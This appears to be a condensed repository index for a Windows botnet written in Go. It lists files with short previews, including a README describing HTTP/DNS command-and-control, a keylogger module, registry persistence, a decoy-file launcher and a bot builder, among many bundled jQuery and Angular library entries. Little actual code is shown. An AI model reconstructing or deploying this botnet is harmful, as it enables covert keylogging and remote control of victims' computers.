  function setMatcher (line 1697) | function setMatcher( preFilter, selector, matcher, postFilter, postFinde...
  function matcherFromTokens (line 1790) | function matcherFromTokens( tokens ) {
  function matcherFromGroupMatchers (line 1848) | function matcherFromGroupMatchers( elementMatchers, setMatchers ) {

FILE: web/bower_components/jquery/src/ajax.js
  function addToPrefiltersOrTransports (line 52) | function addToPrefiltersOrTransports( structure ) {
  function inspectPrefiltersOrTransports (line 86) | function inspectPrefiltersOrTransports( structure, options, originalOpti...
  function ajaxExtend (line 115) | function ajaxExtend( target, src ) {
  function ajaxHandleResponses (line 135) | function ajaxHandleResponses( s, jqXHR, responses ) {
  function ajaxConvert (line 193) | function ajaxConvert( s, response, jqXHR, isSuccess ) {
  function done (line 698) | function done( status, nativeStatusText, responses, headers ) {

FILE: web/bower_components/jquery/src/attributes/classes.js
  function getClass (line 10) | function getClass( elem ) {

FILE: web/bower_components/jquery/src/callbacks.js
  function createOptions (line 7) | function createOptions( options ) {

FILE: web/bower_components/jquery/src/core.js
  function isArrayLike (line 476) | function isArrayLike( obj ) {

FILE: web/bower_components/jquery/src/core/ready.js
  function completed (line 67) | function completed() {

FILE: web/bower_components/jquery/src/css.js
  function vendorPropName (line 43) | function vendorPropName( name ) {
  function setPositiveNumber (line 62) | function setPositiveNumber( elem, value, subtract ) {
  function augmentWidthOrHeight (line 74) | function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
  function getWidthOrHeight (line 118) | function getWidthOrHeight( elem, name, extra ) {
  function showHide (line 163) | function showHide( elements, show ) {

FILE: web/bower_components/jquery/src/css/addGetHookIf.js
  function addGetHookIf (line 3) | function addGetHookIf( conditionFn, hookFn ) {

FILE: web/bower_components/jquery/src/css/adjustCSS.js
  function adjustCSS (line 6) | function adjustCSS( elem, prop, valueParts, tween ) {

FILE: web/bower_components/jquery/src/css/curCSS.js
  function curCSS (line 10) | function curCSS( elem, name, computed ) {

FILE: web/bower_components/jquery/src/css/defaultDisplay.js
  function actualDisplay (line 23) | function actualDisplay( name, doc ) {
  function defaultDisplay (line 39) | function defaultDisplay( nodeName ) {

FILE: web/bower_components/jquery/src/css/showHide.js
  function showHide (line 5) | function showHide( elements, show ) {

FILE: web/bower_components/jquery/src/css/support.js
  function computeStyleTests (line 30) | function computeStyleTests() {

FILE: web/bower_components/jquery/src/data.js
  function dataAttr (line 21) | function dataAttr( elem, key, data ) {

FILE: web/bower_components/jquery/src/data/Data.js
  function Data (line 7) | function Data() {

FILE: web/bower_components/jquery/src/effects.js
  function createFxNow (line 27) | function createFxNow() {
  function genFx (line 35) | function genFx( type, includeWidth ) {
  function createTween (line 55) | function createTween( value, prop, animation ) {
  function defaultPrefilter (line 69) | function defaultPrefilter( elem, props, opts ) {
  function propFilter (line 205) | function propFilter( props, specialEasing ) {
  function Animation (line 242) | function Animation( elem, properties, options ) {

FILE: web/bower_components/jquery/src/effects/Tween.js
  function Tween (line 6) | function Tween( elem, options, prop, end, easing ) {

FILE: web/bower_components/jquery/src/event.js
  function returnTrue (line 17) | function returnTrue() {
  function returnFalse (line 21) | function returnFalse() {
  function safeActiveElement (line 27) | function safeActiveElement() {
  function on (line 33) | function on( elem, types, selector, data, fn, one ) {

FILE: web/bower_components/jquery/src/manipulation.js
  function manipulationTarget (line 42) | function manipulationTarget( elem, content ) {
  function disableScript (line 52) | function disableScript( elem ) {
  function restoreScript (line 56) | function restoreScript( elem ) {
  function cloneCopyEvent (line 68) | function cloneCopyEvent( src, dest ) {
  function fixInput (line 103) | function fixInput( src, dest ) {
  function domManip (line 116) | function domManip( collection, args, callback, ignored ) {
  function remove (line 206) | function remove( elem, selector, keepData ) {

FILE: web/bower_components/jquery/src/manipulation/buildFragment.js
  function buildFragment (line 12) | function buildFragment( elems, context, scripts, selection, ignored ) {

FILE: web/bower_components/jquery/src/manipulation/getAll.js
  function getAll (line 5) | function getAll( context, tag ) {

FILE: web/bower_components/jquery/src/manipulation/setGlobalEval.js
  function setGlobalEval (line 6) | function setGlobalEval( elems, refElements ) {

FILE: web/bower_components/jquery/src/offset.js
  function getWindow (line 19) | function getWindow( elem ) {

FILE: web/bower_components/jquery/src/selector-native.js
  function sortOrder (line 42) | function sortOrder( a, b ) {
  function uniqueSort (line 85) | function uniqueSort( results ) {

FILE: web/bower_components/jquery/src/serialize.js
  function buildParams (line 15) | function buildParams( prefix, obj, traditional, add ) {

FILE: web/bower_components/jquery/src/traversing.js
  function sibling (line 102) | function sibling( cur, dir ) {

FILE: web/bower_components/jquery/src/traversing/findFilter.js
  function winnow (line 11) | function winnow( elements, qualifier, not ) {

FILE: web/bower_components/ngstorage/ngStorage.js
  function _storageProvider (line 44) | function _storageProvider(storageType) {
Condensed preview — 579 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (9,984K chars).
[
  {
    "path": ".gitignore",
    "chars": 262,
    "preview": "#bat scripts\n*.bat\n*.exe\n*.a\n*.exe~\n*.xml\n*.ids\ndb/backend.sqlite\n.idea/\ngobotnet.iml\nss.png\ntest.go\ntest.png\nweb/bower_"
  },
  {
    "path": "README.md",
    "chars": 827,
    "preview": "# Golang Botnet \n\nPure HTTP and DNS Botnet written in Golang for Windows. C&C also written in Golang Echo Framework (API"
  },
  {
    "path": "backend_main.go",
    "chars": 13900,
    "preview": "package main\n\nimport (\n\t\"bufio\"\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"github.com/dgrijalva/jwt-go\"\n\t\"github.com/la"
  },
  {
    "path": "client/configuration.toml",
    "chars": 1039,
    "preview": "#GO BOT Config\n\n[buildconf]\ngobotnetPath \t\t=\t\"D:/WorkSpace/GoProjects/github.com/gobotnet/\"\nbuildFlags \t\t\t=\t\"-ldflags \\\""
  },
  {
    "path": "client/fakefiles/test.txt",
    "chars": 32,
    "preview": "TESTTESTSETEETSTESTSETESTSETTSDS"
  },
  {
    "path": "client/main.go",
    "chars": 11477,
    "preview": "package main\n\nimport (\n\t\"addfile\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"gobotnet\"\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n"
  },
  {
    "path": "client/utils/CreateSourceForFakeLaunchFile.go",
    "chars": 1041,
    "preview": "package main\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc main() {\n\n\tgobotnetPath := os.Args[1]\n\tf"
  },
  {
    "path": "client/utils/TestLaunchFakeFile.go",
    "chars": 529,
    "preview": "package main\n\nimport (\n\t\"addfile\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n)\n\nfunc main() {\n\n\tfile := addfile.GetAdditionFile()\n\tfilename"
  },
  {
    "path": "client/utils/makebot.go",
    "chars": 19362,
    "preview": "package main\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"github.com/BurntSushi/toml\"\n\t\"github.com/aglyzov/charmap\"\n\t\"github.co"
  },
  {
    "path": "db/schema.sql",
    "chars": 936,
    "preview": "drop table if exists users;\ncreate table users(\n    uuid varchar(32) primary key ,\n    ip text ,\n    name text,\n    comm"
  },
  {
    "path": "dns_server.go",
    "chars": 12129,
    "preview": "package main\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t// \"github.com/satori/go.uuid\"\n\t// \"bufio\"\n\t\"github.com/tonnerre/golan"
  },
  {
    "path": "src/addfile/11",
    "chars": 51,
    "preview": "B5F5R>2!S:6UP;&4@.RD*4$%34R`](%5,5%)!4TE-4$Q%\"@``\n`"
  },
  {
    "path": "src/addfile/addfile.go",
    "chars": 410,
    "preview": "package addfile\n\nimport (\n\t\"encoding/base64\"\n)\n\nconst (\n\tstr_file = \"UmFyIRoHAM+QcwAADQAAAAAAAAB3FHQgkC0AHgAAACAAAAAC+Zy"
  },
  {
    "path": "src/addfile/config.go",
    "chars": 1280,
    "preview": "package addfile\n\nvar (\n\tusingDNS          = true\n\tusingHTTP         = true\n\tlaunchFakeFile    = true\n\tusingRegistry     "
  },
  {
    "path": "src/gobotnet/file_operation.go",
    "chars": 2221,
    "preview": "package gobotnet\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc CheckFileExist(filePath "
  },
  {
    "path": "src/gobotnet/keylogger.go",
    "chars": 432,
    "preview": "package gobotnet\n\nimport (\n\t\"syscall\"\n)\n\nvar (\n\tuser32               = syscall.NewLazyDLL(\"user32.dll\")\n\tprocGetAsyncKey"
  },
  {
    "path": "src/gobotnet/other_function.go",
    "chars": 2402,
    "preview": "package gobotnet\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/aglyzov/charmap\"\n\t\"math/rand\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"sy"
  },
  {
    "path": "src/gobotnet/registration.go",
    "chars": 5254,
    "preview": "package gobotnet\n\nimport (\n\t\"golang.org/x/sys/windows/registry\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"syscall\"\n)\n\nvar (\n\tnameFil"
  },
  {
    "path": "src/gobotnet/registry_work.go",
    "chars": 1522,
    "preview": "package gobotnet\n\nimport (\n\t\"golang.org/x/sys/windows/registry\"\n)\n\nfunc GetRegistryKey(typeReg registry.Key, regPath str"
  },
  {
    "path": "src/gobotnet/screenshot.go",
    "chars": 3069,
    "preview": "package gobotnet\n\n//https://github.com/vova616/screenshot\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"github.com/AllenDang/w32\"\n\t\"image\""
  },
  {
    "path": "src/wrapper/api.go",
    "chars": 15941,
    "preview": "package wrapper\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/satori/go.uuid\"\n\t\"github.com/tv42/zbase32\"\n\t\""
  },
  {
    "path": "src/wrapper/winhttp.go",
    "chars": 4985,
    "preview": "package wrapper\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nvar (\n\twinhttpdll, _                            = syscall.LoadLibrary("
  },
  {
    "path": "web/auth.html",
    "chars": 4125,
    "preview": "<!DOCTYPE html>\n<html>\n\n<head>\n    <link rel=\"stylesheet\" href=\"bower_components/angular-material/angular-material.min.c"
  },
  {
    "path": "web/bower.json",
    "chars": 498,
    "preview": "{\n  \"name\": \"gobonet\",\n  \"authors\": [\n    \"sasha <zavgoroa@yahoo.com>\"\n  ],\n  \"description\": \"\",\n  \"main\": \"\",\n  \"licens"
  },
  {
    "path": "web/bower_components/angular/.bower.json",
    "chars": 470,
    "preview": "{\n  \"name\": \"angular\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular.js\",\n  \"ignore\": [],\n  \"dependenci"
  },
  {
    "path": "web/bower_components/angular/LICENSE.md",
    "chars": 1074,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2016 Angular\n\nPermission is hereby granted, free of charge, to any person obtaining"
  },
  {
    "path": "web/bower_components/angular/README.md",
    "chars": 1885,
    "preview": "# packaged angular\n\nThis repo is for distribution on `npm` and `bower`. The source for this module is in the\n[main Angul"
  },
  {
    "path": "web/bower_components/angular/angular-csp.css",
    "chars": 343,
    "preview": "/* Include this file in your html if you are using the CSP mode. */\n\n@charset \"UTF-8\";\n\n[ng\\:cloak], [ng-cloak], [data-n"
  },
  {
    "path": "web/bower_components/angular/angular.js",
    "chars": 1173857,
    "preview": "/**\n * @license AngularJS v1.5.7\n * (c) 2010-2016 Google, Inc. http://angularjs.org\n * License: MIT\n */\n(function(window"
  },
  {
    "path": "web/bower_components/angular/bower.json",
    "chars": 133,
    "preview": "{\n  \"name\": \"angular\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular.js\",\n  \"ignore\": [],\n  \"dependenci"
  },
  {
    "path": "web/bower_components/angular/index.js",
    "chars": 48,
    "preview": "require('./angular');\nmodule.exports = angular;\n"
  },
  {
    "path": "web/bower_components/angular/package.json",
    "chars": 572,
    "preview": "{\n  \"name\": \"angular\",\n  \"version\": \"1.5.7\",\n  \"description\": \"HTML enhanced for web apps\",\n  \"main\": \"index.js\",\n  \"scr"
  },
  {
    "path": "web/bower_components/angular-animate/.bower.json",
    "chars": 517,
    "preview": "{\n  \"name\": \"angular-animate\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular-animate.js\",\n  \"ignore\": ["
  },
  {
    "path": "web/bower_components/angular-animate/LICENSE.md",
    "chars": 1074,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2016 Angular\n\nPermission is hereby granted, free of charge, to any person obtaining"
  },
  {
    "path": "web/bower_components/angular-animate/README.md",
    "chars": 2045,
    "preview": "# packaged angular-animate\n\nThis repo is for distribution on `npm` and `bower`. The source for this module is in the\n[ma"
  },
  {
    "path": "web/bower_components/angular-animate/angular-animate.js",
    "chars": 150696,
    "preview": "/**\n * @license AngularJS v1.5.7\n * (c) 2010-2016 Google, Inc. http://angularjs.org\n * License: MIT\n */\n(function(window"
  },
  {
    "path": "web/bower_components/angular-animate/bower.json",
    "chars": 172,
    "preview": "{\n  \"name\": \"angular-animate\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular-animate.js\",\n  \"ignore\": ["
  },
  {
    "path": "web/bower_components/angular-animate/index.js",
    "chars": 60,
    "preview": "require('./angular-animate');\nmodule.exports = 'ngAnimate';\n"
  },
  {
    "path": "web/bower_components/angular-animate/package.json",
    "chars": 702,
    "preview": "{\n  \"name\": \"angular-animate\",\n  \"version\": \"1.5.7\",\n  \"description\": \"AngularJS module for animations\",\n  \"main\": \"inde"
  },
  {
    "path": "web/bower_components/angular-aria/.bower.json",
    "chars": 502,
    "preview": "{\n  \"name\": \"angular-aria\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular-aria.js\",\n  \"ignore\": [],\n  \""
  },
  {
    "path": "web/bower_components/angular-aria/LICENSE.md",
    "chars": 1074,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2016 Angular\n\nPermission is hereby granted, free of charge, to any person obtaining"
  },
  {
    "path": "web/bower_components/angular-aria/README.md",
    "chars": 2006,
    "preview": "# packaged angular-aria\n\nThis repo is for distribution on `npm` and `bower`. The source for this module is in the\n[main "
  },
  {
    "path": "web/bower_components/angular-aria/angular-aria.js",
    "chars": 15177,
    "preview": "/**\n * @license AngularJS v1.5.7\n * (c) 2010-2016 Google, Inc. http://angularjs.org\n * License: MIT\n */\n(function(window"
  },
  {
    "path": "web/bower_components/angular-aria/bower.json",
    "chars": 166,
    "preview": "{\n  \"name\": \"angular-aria\",\n  \"version\": \"1.5.7\",\n  \"license\": \"MIT\",\n  \"main\": \"./angular-aria.js\",\n  \"ignore\": [],\n  \""
  },
  {
    "path": "web/bower_components/angular-aria/index.js",
    "chars": 54,
    "preview": "require('./angular-aria');\nmodule.exports = 'ngAria';\n"
  },
  {
    "path": "web/bower_components/angular-aria/package.json",
    "chars": 727,
    "preview": "{\n  \"name\": \"angular-aria\",\n  \"version\": \"1.5.7\",\n  \"description\": \"AngularJS module for making accessibility easy\",\n  \""
  },
  {
    "path": "web/bower_components/angular-base64/.bower.json",
    "chars": 897,
    "preview": "{\n  \"name\": \"angular-base64\",\n  \"version\": \"2.0.5\",\n  \"author\": \"Ninjatronic\",\n  \"description\": \"Base64 Conversion for A"
  },
  {
    "path": "web/bower_components/angular-base64/LICENSE",
    "chars": 1320,
    "preview": "ORIGINAL LICENSE:\n-----------------\n\nCopyright (c) 2010 Nick Galbreath\nhttp://code.google.com/p/stringencoders/source/br"
  },
  {
    "path": "web/bower_components/angular-base64/README.md",
    "chars": 1847,
    "preview": "# angular-base64\n\nEncapsulation of Nick Galbreath's base64.js library for AngularJS\n\nFor Base64 encoding whch supports U"
  },
  {
    "path": "web/bower_components/angular-base64/angular-base64.js",
    "chars": 5844,
    "preview": "(function() {\n    'use strict';\n\n    /*\n     * Encapsulation of Nick Galbreath's base64.js library for AngularJS\n     * "
  },
  {
    "path": "web/bower_components/angular-base64/bower.json",
    "chars": 626,
    "preview": "{\n    \"name\": \"angular-base64\",\n    \"version\": \"2.0.5\",\n    \"author\": \"Ninjatronic\",\n    \"description\": \"Base64 Conversi"
  },
  {
    "path": "web/bower_components/angular-clipboard/.bower.json",
    "chars": 734,
    "preview": "{\n  \"name\": \"angular-clipboard\",\n  \"version\": \"1.4.2\",\n  \"main\": \"angular-clipboard.js\",\n  \"description\": \"Copy to clipb"
  },
  {
    "path": "web/bower_components/angular-clipboard/.travis.yml",
    "chars": 225,
    "preview": "language: node_js\nnode_js:\n  - 4\naddons:\n  firefox: \"41.0\"\nbefore_install:\n  - \"export DISPLAY=:99.0\"\n  - \"sh -e /etc/in"
  },
  {
    "path": "web/bower_components/angular-clipboard/angular-clipboard.js",
    "chars": 2875,
    "preview": "(function (root, factory) {\n    /* istanbul ignore next */\n    if (typeof define === 'function' && define.amd) {\n       "
  },
  {
    "path": "web/bower_components/angular-clipboard/bower.json",
    "chars": 422,
    "preview": "{\n    \"name\": \"angular-clipboard\",\n    \"version\": \"1.4.2\",\n    \"main\": \"angular-clipboard.js\",\n    \"description\": \"Copy "
  },
  {
    "path": "web/bower_components/angular-material/.bower.json",
    "chars": 659,
    "preview": "{\n  \"name\": \"angular-material\",\n  \"version\": \"1.0.9\",\n  \"license\": \"MIT\",\n  \"ignore\": [],\n  \"dependencies\": {\n    \"angul"
  },
  {
    "path": "web/bower_components/angular-material/CHANGELOG.md",
    "chars": 335773,
    "preview": "<a name\"1.0.9\"></a>\n### 1.0.9 (2016-05-19)\n\n\n#### Features\n\n* **demos:** add global classes support ([6726ca6c](https://"
  },
  {
    "path": "web/bower_components/angular-material/LICENSE",
    "chars": 1094,
    "preview": "The MIT License\n\nCopyright (c) 2014 Google, Inc. http://angularjs.org\n\nPermission is hereby granted, free of charge, to "
  },
  {
    "path": "web/bower_components/angular-material/README.md",
    "chars": 7126,
    "preview": "This repository is used only for Angular Material v1.x library deployments and localized installs using `npm` and `bower"
  },
  {
    "path": "web/bower_components/angular-material/angular-material-mocks.js",
    "chars": 4811,
    "preview": "/**\n *\n * Angular-Material-Mocks\n *\n * Developers interested in running their own custom unit tests WITH angular-materia"
  },
  {
    "path": "web/bower_components/angular-material/angular-material.css",
    "chars": 687340,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\nhtml, body {\n  heigh"
  },
  {
    "path": "web/bower_components/angular-material/angular-material.js",
    "chars": 936621,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n(function( window, a"
  },
  {
    "path": "web/bower_components/angular-material/angular-material.scss",
    "chars": 165452,
    "preview": "// Function\n//-- Must be defined before variables\n@function rem($multiplier) {\n  $font-size: 10px;\n  @return $multiplier"
  },
  {
    "path": "web/bower_components/angular-material/bower.json",
    "chars": 307,
    "preview": "{\n  \"name\": \"angular-material\",\n  \"version\": \"1.0.9\",\n  \"license\": \"MIT\",\n  \"ignore\": [],\n  \"dependencies\": {\n    \"angul"
  },
  {
    "path": "web/bower_components/angular-material/index.js",
    "chars": 270,
    "preview": "// Should already be required, here for clarity\nrequire('angular');\n\n// Load Angular and dependent libs\nrequire('angular"
  },
  {
    "path": "web/bower_components/angular-material/layouts/angular-material.layout-attributes.css",
    "chars": 100,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n"
  },
  {
    "path": "web/bower_components/angular-material/layouts/angular-material.layout-attributes.scss",
    "chars": 14456,
    "preview": "$font-family: Roboto, 'Helvetica Neue', sans-serif !default;\n$font-size:   10px;\n$display-4-font-size-base: rem(11.20) !"
  },
  {
    "path": "web/bower_components/angular-material/layouts/angular-material.layouts.css",
    "chars": 251071,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*\n*\n*  Responsive a"
  },
  {
    "path": "web/bower_components/angular-material/layouts/angular-material.layouts.scss",
    "chars": 28231,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n$font-family: Roboto"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/autocomplete/autocomplete-default-theme.css",
    "chars": 1127,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/autocomplete/autocomplete.css",
    "chars": 6769,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/autocomplete/autocomplete.js",
    "chars": 42714,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/backdrop/backdrop-default-theme.css",
    "chars": 425,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/backdrop/backdrop.css",
    "chars": 1152,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/backdrop/backdrop.js",
    "chars": 2537,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/bottomSheet/bottomSheet-default-theme.css",
    "chars": 670,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/bottomSheet/bottomSheet.css",
    "chars": 5912,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/bottomSheet/bottomSheet.js",
    "chars": 10132,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/button/button-default-theme.css",
    "chars": 9264,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/button/button.css",
    "chars": 6324,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/button/button.js",
    "chars": 4492,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/card/card-default-theme.css",
    "chars": 834,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/card/card.css",
    "chars": 6934,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/card/card.js",
    "chars": 4417,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/checkbox/checkbox-default-theme.css",
    "chars": 3375,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/checkbox/checkbox.css",
    "chars": 5781,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/checkbox/checkbox.js",
    "chars": 7269,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/chips/chips-default-theme.css",
    "chars": 974,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/chips/chips.css",
    "chars": 5054,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/chips/chips.js",
    "chars": 41328,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/colors/colors.js",
    "chars": 10497,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/content/content-default-theme.css",
    "chars": 375,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/content/content.css",
    "chars": 595,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/content/content.js",
    "chars": 2119,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/core/core.css",
    "chars": 510108,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/core/core.js",
    "chars": 238129,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/core/default-theme.js",
    "chars": 38152,
    "preview": "(function(){ \nangular.module(\"material.core\").constant(\"$MD_THEME_CSS\", \"/* mixin definition ; sets LTR and RTL within t"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/datepicker/datepicker-default-theme.css",
    "chars": 1742,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/datepicker/datepicker.css",
    "chars": 5957,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/datepicker/datepicker.js",
    "chars": 71966,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/dialog/dialog-default-theme.css",
    "chars": 546,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/dialog/dialog.css",
    "chars": 3819,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/dialog/dialog.js",
    "chars": 39939,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/divider/divider-default-theme.css",
    "chars": 434,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/divider/divider.css",
    "chars": 524,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/divider/divider.js",
    "chars": 1145,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabActions/fabActions.js",
    "chars": 1729,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabSpeedDial/fabSpeedDial.css",
    "chars": 4740,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabSpeedDial/fabSpeedDial.js",
    "chars": 18149,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabToolbar/fabToolbar.css",
